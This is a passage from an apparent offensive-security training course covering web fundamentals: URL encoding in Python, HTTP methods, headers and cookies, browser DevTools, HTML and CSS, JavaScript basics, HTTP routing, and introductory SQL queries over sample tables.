line. We may need to encode sensitive information in the future and
we have no guarantee that an external website would not capture and
retain that data.
Note that on a professional security engagement, it is best practice
to perform any encoding or text transformation locally and not online.
Let's run python3 with the -q flag, which cleans
up our output by suppressing version and copyright information. Then
we'll import the urllib.parse library. Finally, we'll run
quote() with the example we want to encode, which is /El
Niño/.
kali@kali:~$ python3 -q
>>> import urllib.parse
>>> urllib.parse.quote('/El Niño/')
'/El%20Ni%C3%B1o/'
>>>
Listing 6 - URL encoding example with quote()
Listing 6 shows that the initial string "/El
Niño/" is now URL encoded to "/El%20Ni%C3%B1o/". However, we notice
that the forward slash ("/") has not been encoded. This is because
Python considers the "/" character safe by default. If we want
to encode this character as well, we can change the list of safe
characters. In this case, we'll provide an empty list to the safe
parameter, so that quote will encode the spaces, the ñ
character, and the forward slashes.
>>> urllib.parse.quote('/El Niño/', safe='')
'%2FEl%20Ni%C3%B1o%2F'
>>> exit()
kali@kali:~$
Listing 7 - URL encoding example with quote() and empty safe parameter
Listing 7 shows that we have successfully
encoded the forward slashes. Recall that to close the python3
interpreter, we use the exit() function.
Note also that Burp Suite has a dedicated Encoder tab that can be used
for URL encoding and decoding, as well as other types of encoding too.
While GET and POST are by far the most common HTTP request
methods, we'll take a quick tour to explore some of the other
methods[199] you will encounter. Note that web browsers
normally cannot send any requests other than GET and POST.
-
PUT: Updates the content of a given resource with the client's
input. -
DELETE: Removes the requested resource.
-
OPTIONS: Returns the communication options allowed by the
server, including the allowed methods that the server accepts. -
HEAD: Similar to GET, but only retrieves the HTTP headers of the
page without the response body.
Its important to understand that the implementation of how a given
server interprets requests is up to the developer. The request's
"normal" functionality is merely considered a best-practice. It's
possible, for example, to implement a PUT request that deletes a
resource.
HTTP Headers
This Learning Unit covers the following Learning Objectives:
- Understand the purpose and use-cases for HTTP Headers
- Review the most common and most useful headers
- Learn about HTTP Cookies and how they might be manipulated
This Learning Unit will take approximately 75 minutes to complete.
HTTP Headers allow a web server and client to pass particular kinds of
information back and forth.
There are many different headers[200], so let's focus on some
of the common ones that are important for web security.
User-Agent: Specifies to the server what version of browser we
are using. Some servers may only allow specific User-Agents to access
their resources. However, since we can intercept and edit requests
with a proxy, we are often able to trick the server and bypass this
restriction.
Origin: Tells the server where a request originally comes from.
Accept-Language: Tells the server which human-speaking language
the client expects back. This header could be helpful for a system
administrator or defender to learn more about the potential location of
an attacker.
Accept-Encoding: Tells the server which encoding types the client
will understand. In particular, Accept-Encoding allows the client
and server to negotiate which compression algorithm should be used to
transmit data.
Forwarded: Provides the server with diagnostics for a given request
that comes via a proxy. By default, it gathers sensitive client-side
information.
Server: Often reveals the name of the software running the web
server to the client.
Proxy-Authenticate: Tells the client which type of authentication
should be used to access a page or resource sitting behind a proxy.
Proxy-Authorization: Tells the client which credentials to use in
order to access a page or resource sitting behind a proxy. Credentials
are transmitted in base64 encoding.
Strict-Transport-Security (HSTS[201]): tells a client that
it should only access the server via HTTPS, the encrypted version of
HTTP. We'll learn more about HTTPS in a section below.
There are several headers that start with the letter "X", as in
X-Requested-With. This syntax is one way to represent non-standard
HTTP headers, and they often reveal interesting information about the
software used by the web application.
For example, the X-Requested-With header usually suggests
Ajax[202] requests, and the X-amz-cf-id header indicates that the
application uses Amazon CloudFront.
Finally, another important group of headers for web security are the
various cookie headers. We'll discuss cookies in detail in the next
several sections.
HTTP cookies[203] are a common way to maintain state throughout
a series of HTTP requests for a particular user. Most web applications
use cookies[204] as part of their authentication framework.
HTTP by itself is stateless. Data from one HTTP request does not
influence the next request sent by the same user. The web server can
only process the data available on the request.
Let's consider an e-commerce site as an illustration of how this might
work. Users add items to their carts, submit their shipping address,
and enter their payment information. Such a site needs to know who
the user is and where they are in the shopping flow. Session state is
the information that the web application has accumulated about a user
during their current interactions with the site.
The site could ask the user for their username and password on every
request, but that would be annoying. Instead the server could provide
a token that the user's browser can send on every request.
This type of authentication flow starts when a user submits a username
and password to the server. The server validates the credentials and
creates a session identified by a random token. The token is returned
to the user in the HTTP response to the login request. The browser
will save this cookie and include it on all subsequent requests to the
site.
When the user navigates to a new page and the browser sends the HTTP
request, the server will read the cookie value and look up the
session. Using this information, the server knows which user sent the
request.
In this example, the server can verify the user's identity by checking
the session state associated with their session identifier. Without a
cookie, users would need to include their password on each request.
Developers use session state to store information about a user. The
data stored varies by application, but some examples are the user's
name, last page visited, and shopping cart items. The server uses
the session identifier as a key to look up this information.
Since browsers store cookies locally, we can easily modify their
values. If an application uses cookies in an insecure way, we might
be able to manipulate the cookie values and make the application do
something unintended.
In secure implementations, the values stored in cookies are
randomly generated and are used as lookup keys for server-side
data. For example, if we log in to an application and get a
cookie with a session identifier of 3, we can assume that there
are sessions with identifiers of 1 and 2. We would have a more
difficult time guessing another session identifier if ours is
"b9edc541a87be432175defdf08aec342".
We can use Burp Suite to modify cookie values on an HTTP request. With
Burp Suite open and the requests proxied, we need to find a request
that loads the home page as an authenticated user. Once the request
is located, we will send it to Repeater. Once in Repeater, we can add
or modify the cookies on the request and resend the request to the
web application. If a web application contains logic errors in its
authentication framework, we may be able to use cookie manipulation to
gain access to the data of other users or even their sessions.
Browser Development Tools, HTML, and CSS
This Learning Unit covers the following Learning Objectives:
- Understand how and when to use additional tools that will help us
assess information on web pages and web applications. - Understand how web content is structured via HyperText Markup
Language (HTML) - Understand how web content is styled via Cascading Style Sheets (CSS)
This Learning Unit will take approximately 80 minutes to complete.
One of the most important and common tools used for web application
development and security is the browser's suite of built-in
Development Tools.[205] Often called "DevTools" for short,
these browser-based interfaces are designed for development and
debugging, but also allow an end-user to inspect and manipulate
client-side code.
In this section, we're going to use DevTools on Firefox as an example
because it is Kali's default browser. Every major browser has their
version of DevTools, but keep in mind that implementations may differ.
To open DevTools on Firefox, click on Settings >
Web Developer > Toggle Tools. We can also use the
C+B+i hotkey.
There are several tabs included with the Firefox DevTools. Some of
them will be more relevant to our purposes than others. Let's begin
with the Inspector tab. Inspector lets us view the page's HTML
dynamically. We can select bits of HTML and the tool highlights which
section of the page that particular section is describing.
The Console tab allows us to execute JavaScript via a browser-based
interpreter and view logs for the current page. We can execute
arbitrary JavaScript functions in the context of the current web page.
This is similar to opening up a Python interpreter with the python3
command in a terminal.
Let's try executing a JavaScript function. We will type
"window.alert('hello')" in the Console, then press I to
execute the function.
As shown in Figure 26, the browser executed the
function and displayed a message box with our text.
The Debugger allows us to review all loaded JavaScript code and add
breakpoints to stop execution before code is executed. We won't be
using it in this Topic.
The Network tab is particularly interesting to us. Let's navigate to
it and reload the page.
We can find all the resources requested by the current page, including
the method used as well as the size and type of each resource. If we
click a row, we can discover the request and response headers on the
right-hand side. We can also view any cookies stored by navigating to
the Cookies subtab.
The Style Editor tab allows us to view any CSS on the page. We'll
learn more about CSS later.
The Performance and Memory tabs aren't relevant to us at the
moment. The Storage tab displays various types of data that can
store information about the page. Most notably, this includes any
cookies that are being stored, as well as detailed information about
each cookie.
Finally, the Accessibility and What's New tabs allow us to turn
on accessibility features and to check out the DevTools patch notes
respectively.
HyperText Markup Language (HTML)[206] describes web resources.
It lays out the structure of a page and determines what content
will appear. It's important to note that HTML is not considered
a programming language, but a markup language, which means it
describes how to render text.
HTML uses the concept of elements to describe content. A tag is a
keyword wrapped in angle brackets < >. For example, the
most fundamental HTML tag is <html>, which identifies
the beginning of an HTML document. Likewise, the </html>
closing tag is used to define the document's end. An opening tag, it's
corresponding closing tag, and the content between it is called an
element.
In addition to using the browser DevTools to view a resource's HTML,
we can also right-click anywhere on a page and click View Source.
The following image shows the <html> tag at the beginning
of the www.kali.org source code. If we were to scroll all
the way to the right, we would find the ending <html> tag as
well.
There are several other important tags we will need to be aware of.
<html>: Defines the beginning and end of an HTML document.
<head>: Contains metadata about the document, for example the
page's title.
<header>: Defines the beginning and end of an introductory section
of the page. Usually contains a summary or abstract.
<body>: Defines the beginning and end of most of the page's
content.
<a>: Defines an anchor. The most common use case for <a>
is to flag a hyperlink, which is a clickable section of text that
links to another resource or performs some action. For example, the
superscript number following this sentence is a hyperlink.[207]
<p>: Defines the start of a paragraph.
<style>: Inputs internal Cascading Style Sheets (CSS) directly
inside the HTML. We'll learn more about CSS in a section below.
<script>: Inputs JavaScript directly inside the HTML. We'll
learn more about JavaScript in another Learning Unit.
<img>: Defines an image.
<form>: Defines a form where the user can input information.
It is one of the primary ways in which users can send data to a web
application from their browser. Forms are most often implemented via
POST requests, and are extremely important for security because they
might allow untrusted input. If input isn't properly validated or
sanitized, it could result in unintended code injection or execution.
<input>: Defines a field where a user can input data. A form,
for example, usually contains multiple input elements. This is
particularly important for two reasons.
-
First, it represents functionality that trusts the user to some
extent. As security professionals, we should always be on alert
for any such functionality because any component that trust a user
is potentially vulnerable to unintended manipulation. -
The second reason the input tag is interesting to us is beacuse
of the type attribute. This attribute can be included in the input
tag like so: <input type="hidden"> . The hidden value allows
developers to include input that will not be rendered via the browser,
but is still sent with form data. Developers might use this value
under the belief that hiding an input field can add an extra layer of
security. That might appear true on the surface, but both DevTools and
Burp Suite are capable of manipulating hidden input fields. Therefore,
when we find hidden fields on a security engagement we should pay
extra special attention, because we will know we've found something
the developer wanted to hide.
Hidden attributes can be used with any tag. However, when used with
<input>, it usually represents a more significant potential
security impact.
While knowing how to write HTML from scratch to build a web page isn't
usually necessary for most security professionals, having a high-level
understanding of its structure and syntax is very important. HTML
has quite a lot of syntax, so remember to research terms that are
unfamiliar while browsing a site's source code.
Where HTML describes the structure of a web resource, Cascading
Style Sheets (CSS)[208] describes how the content should appear.
Another way to think about this distinction is that HTML tends to
determine what goes on the page, while CSS determines how it appears.
CSS can be stored in three ways: external, internal, and inline.
External CSS lives in its own document, which typically has the
.css file extension. External CSS is most often used when
we want to control the styling of our entire website; most of the CSS
used for a large site would be external.
Internal CSS is used within a given HTML page, and usually takes care
of styling one specific page, which we might want to have a different
appearance and feel to the rest of our site. Internal CSS is defined
via the <style> HTML tag.
Finally, inline CSS is the most granular option, because it can be
used to modify a specific HTML element. The style attribute can
be added to any tag to specify its style. For example, we might want
the title of a section of text to be red. To do so, we could use the
element: <p style=color:red;>Offensive Security</p>,
which will modify the inline "Offensive Security" text.
Viewing the CSS of a given page is similar to viewing its HTML.
As discussed above, the View Source function in the browser will
show the page's HTML content. From there, we can usually find the
page's CSS by searching for keywords like ".css" or "stylesheet".
In the following image, we find the external CSS referenced by the
kali.org homepage HTML, as well as some internal styling via
the <style> tag.
If we want to read the external CSS, we can open it in another browser
tab by clicking the URL.
It's unusual for a security professional to need to understand the
details of CSS syntax, so we won't be going over it here aside from
mentioning a few key items to take note of.
The first is that reviewing the source code of a resource's CSS can
sometimes divulge information that the developer meant to hide. For
example, the source code might contain information about a link or
resource that the developer didn't intend to be public.
Second, CSS can also be used to hide forms and sections of a web
site. This can have critical security implications. In one of our
engagements, we've found a high risk bug because the developers of
the site were authorizing users by hiding certain elements via CSS.
By manipulating the CSS, we were able to display access to the entire
administrative console.
Finally, CSS can also be used proactively in an offensive engagement
to craft realistic and believable client-side attacks. For example, we
might want to create an authentic-looking website to redirect a user
to via a Phishing[209] attempt.
Introduction to JavaScript
This Learning Unit covers the following Learning Objectives:
- Introduce Javascript syntax and basic uses
- Explore practical applications of Javascript
- Understand Javascript minification
This Learning Unit will take approximately 120 minutes to complete
JavaScript[210] is a high-level programming language that has become
one of the fundamental components of modern web applications. All
modern browsers include a JavaScript engine that runs any client-side
JavaScript code.
When a browser processes an HTTP response containing HTML, the
browser creates a Document Object Model (DOM) tree and renders it.
JavaScript can access and modify the page's DOM, resulting in a more
interactive experience for end users.
A common example where JavaScript could be useful is with client-side
validation of a form. Instead of submitting a form to the server and
having the server respond with an error, a JavaScript function could
check the form first before submitting it to the server.
We can read through JavaScript files to get an idea of what they do
and check if any contain secret values, like credentials or API keys.
Now let's cover a few general programming terms that will help us
understand the basics of JavaScript. Many of the terms may be familiar
from the Scripting Topic.
A variable stores a value. An object contains key value pairs
called properties.
// define a variable named x with a value of 1
var x = 1;
// define an object named z with a property named foo and a value of bar
var z = { foo: "bar"};
Listing 8 - Defining variables and objects
A function[211] is a series of statements. A function may
have parameters that need to be included when the function is called.
After the function is executed, it may return a value back to the
calling code.
function addNumbers(x, y) { return x + y; }
Listing 9 - Defining a function
In the above example, the name of the function is addNumbers and it
receives two parameters. The function adds the two parameters together
and returns the result.
A method could be considered a function that is a property of an
object. The method can reference values of the object that owns it
with the this keyword.
// define an object with a method
var book = {
title: 'Moby-Dick',
author: 'Herman Melville',
toString: function() {
return this.title + " by " + this.author;
}
};
// call the book object's toString method
book.toString()
// output
"Moby-Dick by Herman Melville"
Listing 10 - Defining an object with a method
There is far more to JavaScript than we can cover here. These basics
will help us read JavaScript code and start to understand how it works
in the context of web security.
We can run JavaScript code directly in our browser. For the following
section, let's open Firefox and go to https://www.google.com.
After the page loads, we will open the Console tool by first clicking
on the Open menu button.
A new menu window will open. We will click on Web Developer.
Finally, we will click on Web Console to open the Console tool.
Note that there may be some warnings in the console. We can ignore these
warnings and delete them by clicking on the trash icon.
We can also use the shortcut C+B+J to
open the Console tool.
Now that we have the Console tool open, let's review some JavaScript
fundamentals.
The document object contains everything that makes up the page as
our browser renders it. If we are interacting with the DOM, most of
our code will start with the document object. For example, we can use
the document's getElementsByTagName() method to get a list of all
HTML tags that match a specified value.
Let's try this out in Firefox. We will enter
document.getElementsByTagName("a") in the Console to select
all tags that are links to other pages.
We get an HTMLCollection object (an array-like list) containing all
the anchor tags in the document. We can expand the list of objects by
clicking on the caret icon.
We can quickly examine interesting tags using JavaScript like this.
Let's click the trash icon to clear the console output and then get
all input fields with document.getElementsByTagName("input").
The resulting HTMLCollection contains all the input fields, including
hidden ones. Not every field will contain important information, but
hidden input fields can sometimes contain sensitive information.
We can use our browser's console to run any JavaScript functions that
have been loaded by the current web page.
Use web browser development tools to solve the following exercises.
Further instructions can be found at /module2.html of the target
VM.
Minification[212] compresses JavaScript files by removing
unnecessary content, such as comments and extra white space. This
process does not change the functionality of the minified files.
End users can examine anything in JavaScript source files sent by
a web server. For this reason, client-side JavaScript files should
not contain any secret values, like passwords, encryption keys,
or "hidden" functionality. Developers sometimes try to limit this
exposure by minifying or obfuscating JavaScript files. However, the
files still need to be valid JavaScript that browsers can parse.
Some minification libraries will also rename variables, functions,
and methods into shorter names. The end result is a smaller file that
browsers can still read but which is more difficult for humans to read.
Most browsers have built-in tools that will "prettify" minified
source code. This process reintroduces white space and formatting.
We still have to deal with oddly named variables and functions, but
the "prettified" layout is no longer an obstruction to analyzing the
source code.
Code obfuscation goes a step beyond minification by using additional
techniques to make code difficult to read, such as encoding parts
of the code or injecting dead code. While these features can make it
more difficult for humans to read the code, JavaScript that is heavily
obfuscated runs slower than minified code.
HTTP Routing
This Learning Unit covers the following Learning Objectives:
- Understand the difference between traditional directory structures
and more modern routing structures. - Introduce the basic concepts involved in HTTP Routing
- Review basic concepts that will be useful in passive information
gathering efforts
This Learning Unit will take approximately 30 minutes to complete.
There are many ways to structure content on a web server. In this
Topic we'll briefly describe the traditional directory structure, as
well as the more modern concept of HTTP Routing.
Traditionally, web servers would have directory structures, just
like a Linux hierarchical set of directories. In this model, the
"base" folder contains a group of files or directories, the latter
of which can contain more files or folders. We call this base
folder the web root, and it usually sits on a Linux machine under
/var/www/html/. When we add files to the html/
directory, they get hosted by the web server. If we want our website
to have pages for Pentesting and for Security Operations, we might
create two files in the web root called pentesting.html and
sec-ops.html respectively.
There are a few key files we might put within a traditional web
server. Index files usually contain the default content we would
want a visiting user to load for a directory. If the user browses to
our domain or IP address but doesn't specify a particular page, the
web server will commonly default to an index file: index.html
or index.php for example. Technically, we could set the index
file to anything we'd like, but most web servers would use something
similar to index.html or default.html for clarity.
If an index file is unspecified, the web server might return
a directory listing containing all the files or folders within the
directory. Developers can choose to disable directory listing, but
any file can still be accessed if we know (or guess) their paths. For
example, even with directory listing turned off, we might bet that an
organization has a contact-us.html or about-us.html
page.
Robots.txt[213] allows us to specify files on our server
that we don't want to be crawlable.[214] Effectively,
robots.txt tells a robot[215] whether it should be
allowed to visit certain parts of the site or not. The content of
most robots.txt files contain parameter-value pairs. The
two most common parameters in robots.txt are User-agent
and Disallow. User-agent specifies which User-agents ought to be
constrained, and Disallow specifies which folders or files should be
ignored by the specified User-agents.
Here is an example of a robots.txt file:
User-agent: *
Disallow: /tmp/
Listing 11 - Example of a robots.txt file
The asterisk, (*), character means "all", so this robots.txt
file would instruct all visiting robots that they cannot browse to the
/tmp/ directory within our web server. Robots.txt
can be useful to a security assessor because some web developers will
disallow interesting files that may merit further inspection.
Humans.txt is a relatively newer convention that lists all the
people who have worked on a web site. It won't necessarily be found
on every web server, but it can be useful for enumerating information
about contributors or development-scope.
sitemap.xml[216] is the counterpart of
robots.txt. Where robots.txt primarily specifies
files that should be ignored by crawlers, sitemap.xml helps
to tell search engines that the site should be crawled. This is
often used for Search Engine Optimization (SEO).[217] These files
can be helpful to security assessors because they can let us find
pages that we otherwise might not have known about.
Traditional directory structures make use of real files sitting
in directories on the web server. For example, the existence of
a /var/www/html/site necessarily implies the existence
of an html/ directory. In this case, a request to
http://somesite.com/site would respond with the file within
the html/ directory.
By contrast, many modern web applications make use of HTTP routing.
Instead of having a file living at /var/www/html/site, the
application's code would define a URL at site/ to respond
with a certain resource.
Crucially, there is no "site" file that exists on the server, and
there may not even be an "html" directory. In an important sense,
/site would be the full name of a resource, and not actually
a path to a real file.
This has several security implications. First, since there are no
actual files on the server hosting content, we need to know the
full name of a given resource in order to access it. For example,
/users/admin might be a valid path, but /users/
might not.
Second, HTTP Routing allows a developer to code a resource so that it
can only be accessed via a particular method. This means that even if
we as attackers know that a specific resource exists as part of the
web app, we also need to know which method it accepts. Since we need
to know both the full name of a resource as well as which method to
use, enumeration of the web application can be more time consuming.
In addition, we cannot necessarily depend on GET requests to find all
potential resources on the web app.
Introduction to Databases and SQL
This Learning Unit covers the following Learning Objectives:
- Understand the purpose of a database
- Use the SQL SELECT statement
- Use the SQL WHERE clause
- Use the SQL JOIN operator
- Use the SQL UNION operator
This Learning Unit will take approximately 90 minutes to complete.
The usefulness of web applications is significantly increased with
the addition of data management. Adding a data layer enables web
applications to authentication users, manage products, post blogs,
accept user comments, and much more. However, this additional
complexity brings new vectors that can be exploited to bypass
authentication or steal sensitive data.
While data management integrations come in many shapes and sizes,
one of the most frequently used is the relational database. Before
we start exploring databases[218] for web applications, let's
first review what a database is.
The purpose of a database is to store and retrieve data in a quick and
effective manner. To use a database, a web application needs an active
connection to the database server. Once a user submits a request
that requires information, the web application creates a query and
sends the query to the database. The database executes the query and
the data is returned to the web application. Using the data, the web
application builds the appropriate response to send back to the user.
Depending on the query, these steps usually feel almost instantaneous
to the user.
In most scenarios, the only interaction we have with a database
is through the web application. Compared to the amount of web
applications available on the Internet, it is not common to find an
accessible database server. Similarly to how a web browser is a client
to the web application server, a web application is a client to the
database server. However, unlike a web browser, the protocol used
for communication is not HTTP (most likely). Instead, each database
server uses their own protocol standard. Since we are not directly
interacting with the database, we do not need to familiarize ourselves
with the protocol. We do, however, need to familiarize ourselves with
the way that the web application knows which data to query for.
Most commonly, databases are either relational[219] or
non-relational.[220] For this Topic, we will be
concentrating on web applications that use a relational database.
Some common relational database servers include MySQL, Microsoft
SQL Server, and PostgreSQL.
In a relational database, the data is stored in a table with one
or more columns. The columns represent attributes about the data
(i.e. ID, first name, email, etc.). Each row, also called a tuple,
represents a record of data.
| ID | first_name | |
|---|---|---|
| 1 | Szél | SzelTarcal@gmail.com |
| 2 | Orietta | OCruz@yahoo.com |
| 3 | Saimi | STikkanen@gmail.com |
Table 1 - Table with Users and Emails
Table 1 shows an example database table that has three
rows containing a column for the ID, first name, and email of a user.
In order for the web application to query for the data, the web
application and the database must "speak" a common language.
Relational databases most often understand Structured Query Language
(SQL). SQL[221] is a querying language used to interface with a
database. It tells the database what data the web application wants,
what kind of conditions the data must meet, how to organize the
results, and much more. The database processes the SQL statement and
determines what data matches the statement's conditions. SQL syntax
is designed to be human-readable.
To get data from the users table in the database, we would use
the SELECT[222] statement. The SELECT statement expects
a list of columns that we would want to read from. For example, if
we want to view only the email column, the query would start with
"SELECT email". If we want all columns, we could use the asterisk, *,
character in place of the column name.
Next, the SELECT statement needs a FROM[223] clause and a
table name to declare which table to get the data from. The query to
select all emails from the users table would be:
SELECT email
FROM users
Listing 12 - Selecting Emails from the User Table
The query in Listing 12 would return the following
results:
| SzelTarcal@gmail.com |
| OCruz@yahoo.com |
| STikkanen@gmail.com |
Table 2 - Table with all Emails
In addition to SELECT queries, SQL also contains INSERT (to add
data), UPDATE (to change data), DELETE (to remove data), and many more
commands. We encourage you to research these commands yourself, but
they will not be necessary for this Topic.
It is also possible to limit the results by using the
WHERE[224] clause. For example, if we wanted to only select
the email where the name is "Orietta" or the ID is 3, we can do so by
appending "WHERE first_name = 'Orietta'" and "OR id = 3" to the query.
SELECT id, email
FROM users
WHERE first_name = 'Orietta' OR id = 3
Listing 13 - Selecting IDs and Emails from the User Table Where the First Name is Orietta or the ID is 3
When comparing number values in SQL, the number does not
have to be enclosed in quotes. However, a string value (like
'Orietta'), must be enclosed in quotes. If the query in Listing
13 were executed, the database would
return the following result:
| ID | |
|---|---|
| 2 | OCruz@yahoo.com |
| 3 | STikkanen@gmail.com |
Table 2 - Table where the First Name is Orietta or the ID is 3
SELECT statements, along with WHERE clauses, make up the basics of
using SQL to extract information from a database.
The JOIN and UNION operators allow us to combine rows of data
from multiple tables. Let's cover JOIN first. The JOIN[225]
operator combines data from two tables based on columns that are
identified as keys. A primary key[226] is a unique
identifier for a row of data in a table. It can be any type of value
as long as each row in the table has a unique value. A foreign
key[227] is a column that references a primary key in
a different table. For example, let's say that a database has the
following users table:
| ID | first_name | |
|---|---|---|
| 1 | Szél | SzelTarca@gmail.com |
| 2 | Orietta | OCruz@yahoo.com |
| 3 | Saimi | STikkanen@gmail.com |
Table 3 - Table with Users and Emails
The database also has the following addresses table:
| ID | userid | address |
|---|---|---|
| 1 | 1 | 3768 Benson Street |
| 2 | 2 | 1058 Clarksburg Road |
| 3 | 2 | 665 Ellen Drive |
| 4 | 3 | 2980 Clousson Road |
Table 4 - Table with Userids and Addresses
The users table contains a list of regular users. The addresses
table contains the addresses of the users. While in some situations it
might make more sense for the address to be on the same user table, in
this application users may have multiple addresses. For this reason,
the addresses table has a column that corresponds to the user's ID.
This column is a foreign key that references the users table. In
this example, the Orietta user has two addresses.
If we want to get every user's address but also include the
user's first name, the query would be the one found in Listing
14.
SELECT first_name, address
FROM users
JOIN addresses ON users.id=addresses.userid
Listing 14 - JOIN with users and addresses
The JOIN clause in the example above specifies that the addresses
table should be combined with the users table by cross-referencing
the id column in the users table and the userid column in the
addresses table. This returns the following results:
| first_name | address |
|---|---|
| Szél | 3768 Benson Street |
| Orietta | 1058 Clarksburg Road |
| Orietta | 665 Ellen Drive |
| Saimi | 2980 Clousson Road |
Table 5 - Joined users and addresses Table
In this example, the id column on the users table is the primary
key and the userid column on the addresses table is a foreign key
that references the users table.
The UNION[228] operator allows us to select rows from
multiple tables and combine the results, even if there are no key
relationships between the tables. However, we do need to specify the
same number of columns in each SELECT statement. For the sake of this
example, we will introduce an admins table:
| ID | first_name | disabled | |
|---|---|---|---|
| 1 | Rafael | RafaelC@gmail.com | 1 |
| 2 | Milenka | MPetkovic@yahoo.com | 0 |
| 3 | Marko | MarkoP@gmail.com | 0 |
Table 6 - Admins Table
Using the UNION operator, we can combine the results from the users
and admins tables to get a list of every email. The UNION operator
will combine two SELECT queries as long as they have the same number
of columns. An example can be found in Listing 15.
SELECT id, email
FROM users
UNION
SELECT id, email
FROM admins
Listing 15 - UNION with users and admins
The SQL command in Listing 15 would return the
following information.
| ID | |
|---|---|
| 1 | SzelTarcal@gmail.com |
| 2 | OCruz@yahoo.com |
| 3 | STikkanen@gmail.com |
| 1 | RafaelC@gmail.com |
| 2 | MPetkovic@yahoo.com |
| 3 | MarkoP@gmail.com |
Table 7 - Users and Admins Table
The UNION operator can be very useful to combine disparate data sets
in a single SQL statement.
JavaScript Basics
In this Learning Module, we will cover the following Learning Units:
- JavaScript Basics - I
- JavaScript Basics - II
JavaScript (JS) [229] was released in the 1990's
and is one of the most widely-used programming languages.
Today, almost 98% of websites use JavaScript as a client-side
language.[230]
Recently, JS has gained popularity to be used as a back end
language, like servers or applications. Many corporations have
implemented Node.js,[231] server-side JS technology, into
their infrastructure like LinkedIn, Netflix, and Uber to name a
few.[232]
In this module, our focus is going to be covering the basics of
JavaScript programming. We are going to learn concepts like syntax,
conditional statements, and loops. Lastly, we will explore how to
research JS Web APIs, which allows us to expand our ability to create
dynamic web pages.
JavaScript Basics - I
This Learning Unit covers the following Learning Objectives:
- Learn about browser developer tools
- Develop our knowledge on JavaScript variables
- Understand JavaScript's naming conventions
- Use assignment and arithmetic operators
We are going to briefly discuss the web browser, and go over how to
use it to gain information about what happens when users browse a web
page. We will learn how to leverage built-in browser tools to conduct
reconnaissance about the web server and its data, and how browsers
interpret that data.
We will also cover the fundamentals of JavaScript programming,
such as variables and operators.
In this section, we will discuss the fundamental elements of the
browser developer console. This is one of the most underrated, yet
powerful tools to learn not just as a web developer, but also as an
offensive security practitioner.
There are too many browsers to cover, so we will walk through how to
access browser developer tools for Google Chrome, Mozilla Firefox,
and Apple Safari.
Let's start with Google Chrome. In the upper right-hand corner, we can
access the Chrome menu by clicking the three dots. We then scroll down
to More Tools and click Developer Tools.
This causes another window, either at the bottom, the side, or separate
from the browser window, to open.
Mozilla Firefox is similar. Instead of three dots, there are three lines in
the upper right-hand corner.
We then scroll down to More tools and click Web Developer Tools:
Browsing to www.google.com presents us with the following.
For Apple Safari, we first need to enable the Develop Menu by going
to Safari > Preferences > Advanced tab.
Here we check the box, Show Develop menu in menu bar at the bottom.
Next, we can highlight the Develop Menu at the top and select
Connect Web Inspector:
Once again, we are presented with a similar window that displays the
Developer Tools.
Going forward, we will exclusively use Mozilla Firefox. There isn't a
significant difference between the different browsers, so we recommend
using whichever browser is most comfortable.
Using Mozilla Firefox, let's browse to www.google.com, right-click
anywhere on the main page, and select Inspect.
Most desktop browsers have this shortcut option to access the
Developer Tools.
This reveals a handful of tabs. We will not cover every one of them,
but let's summarize the basics so we will be able to understand why
using the browser developer tools is important.
The Inspector tab has a plethora of information. Advanced web pages
are usually overwhelming, but over time and with a little experience
it gets easier to filter and find exactly what we need. This tab
displays things such as HTML elements, CSS styles, page layout,
and JS code. Depending on the website, we may have the ability to
manipulate various sections. This means that we can change how our
browser interprets that code on our computer. Although we are not
directly interacting with the server, it is always recommended to
get permission in writing before altering any elements of a website
outside of a training environment.
The Console tab, also known as the Web Console, is used to
view log/error messages and run JS code within the browser.
We can interact with the page elements using JS. In Figure
12, we have an example of printing "Hello
World" to the screen. Figure 13 shows that
while we type, the console will display options to auto-complete
and will provide additional information (like valueOf() being a
function).
With the Debugger tab, we can set breakpoints and step-through
instructions to identify exactly what the JS code is doing.
Another important tip in the debugger is displaying JS code in a
"Pretty" format. Figure 14 displays code
that is not translated in an easy-to-read format.
At the bottom of the middle pane, there are two curly brackets ({}).
If we click those brackets, it will transform the code to Figure
16, which is much easier to examine.
The Network tab presents us with HTTP requests associated with the
web page. Just by browsing to www.google.com, there are a lot
of HTTP requests being made.
This is great for identifying any JS scripts that the page is
interacting with. When it comes to web exploits, such as file
uploading or injection attacks, the Network tab can be very useful.
The Storage tab shows cached data, so it is another important
browser developer tool we should be familiar with.
There are many reasons why browsers require the storage of metadata
when we browse the internet.
One of the primary reasons is to reduce congestion and allow for
"faster" browsing. To understand this, we need to know what happens
when we type a URL in the browser.
All internet traffic occurs at different layers of the OSI model.
Different pieces of physical and logical equipment communicate using
various protocols. All of that data runs either through physical wires
or through the "air". No matter what, there are limits to how much
data can go from one endpoint to the other at one time.
To reduce internet traffic, our browsers will store a cached version of a
web page locally. Depending on other factors, if we attempt to visit a
website that has a cached version on our local computer, it will just
access that instead. Therefore, it reduces the amount of traffic that
traverses the internet and ultimately increases the speed the browser
renders the page.
Another reason browers store data locally has to do with sessions.
Certain protocols are stateless, while others are stateful. HTTP and
HTTPS are considered stateless protocols. This means that by default,
the web servers do not keep track of sessions between server and
clients.
For example, when we access and log into a bank's website, we gain
access to all pages we are supposed to. Imagine having to input
credentials every time we tried accessing a new page. This would
likely make us stop using the bank's online service because it isn't
user-friendly.
To address these problems, browsers make use of cookies. There are
many types of cookies that serve different purposes, but session
management is one of the main uses for cookies. Our web browser will
store session cookies in one place, so we can quickly access and
manipulate them in the storage tab of our web developer tools.
There are many more tabs like Style Editor, Performance,
Memory, etc., but they are out of scope for this module. These tabs
are more geared towards web development.
Moving forward, we are going to go back and forth between the Web
Console and the command-line interface in Linux when programming in
JS.
In order to follow along in this section, it is best to use the Web
Console of the browser.
In this section, we will learn how to create and use JavaScript
variables. Before we discuss JS variables, let's quickly cover a few
necessary terms:
- Objects: JavaScript objects[233] are abstract
containers that are represented by data types and contain
characteristics. We are going to explore more about what defines an
object and how we can create and manipulate them. - Declare: a way to state the action of creating an object.
- Assign: providing a value to the object.
- Scope: refers to an area within the code that an object and
its value are accessible.
For example, Global Scope objects are accessible from anywhere
within that program. Local or Function Scope objects are only
accessible within that function. Lastly, Block Scope objects
are accessible within that block code, generally inside if/switch
conditions or loops. This will make more sense once we cover a few
more concepts throughout the lesson.
Let's examine the code below.
var example = "My first variable";
// My first comment
Listing 1 - Creating a variable named example and assigning it the string value of "My first variable"
Assuming these are the only two lines in the program, this would be an
example of a global scope variable.
Let's break down each section of the code.
- var is a JS keyword that refers to a specific type of variable.
- example is the name of the container and is how we refer to it.
- = is an assignment operator.
- "My first variable" is the value of the container. A string data
type in this example. - ; (semicolon) is a syntax symbol that represents the end of an
